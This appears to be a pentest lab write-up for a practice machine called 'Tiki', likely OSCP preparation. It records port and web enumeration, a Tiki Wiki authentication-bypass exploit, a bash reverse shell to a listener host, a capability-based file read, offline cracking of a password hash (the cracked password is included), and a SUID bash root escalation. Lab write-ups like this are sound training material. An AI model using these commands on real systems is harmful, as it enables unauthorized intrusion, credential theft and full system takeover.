Tiki
๐งช Pentest Log: {{date:2025-08-26}}
๐ Target Information
- Machine Name: Tiki
- IP Address: 10.11.1.39
- Operating System: Linux
ip=10.11.1.39
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
wpscan --url http://$ip
Google "tiki wiki cms exploit exploitdb", found
https://www.exploit-db.com/exploits/40091
Port 8080
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://github.com/S1lkys/CVE-2020-15906
python3 TikiWiki_21.1_Authentication_Bypass.py $ip
Use burpsuite to capture login post request, delete the pass content
Use Scheduler to generate a reverse shell connection
/bin/bash -i >& /dev/tcp/172.16.1.2/80 0>&1
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80
๐งฌ Privilege Escalation
๐ค Current Access
- User: apache
- Groups: 48(apache)
- Shell Type: reverse shell
๐ Enumeration
Binary Capabilities:
getcap -r / 2>/dev/null
found
/usr/bin/nl = cap_dac_read_search+ep
Read the filebrowser.db file, found tiki password hash
$2a$10$VDo0bFCJOPUnUGPby2NhZODKUiqfIRSKlwbb47HVOOQkRf7j/AX9K
Crack it using john
tiki:mimamamemima
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: N/A
- Target Binary/Service: filebrowser
- Reference / Source: N/A
๐ง Exploit Steps
- Setup
enable chmod command under User Management
chmod +s /bin/bash
- Smash to root
bash -p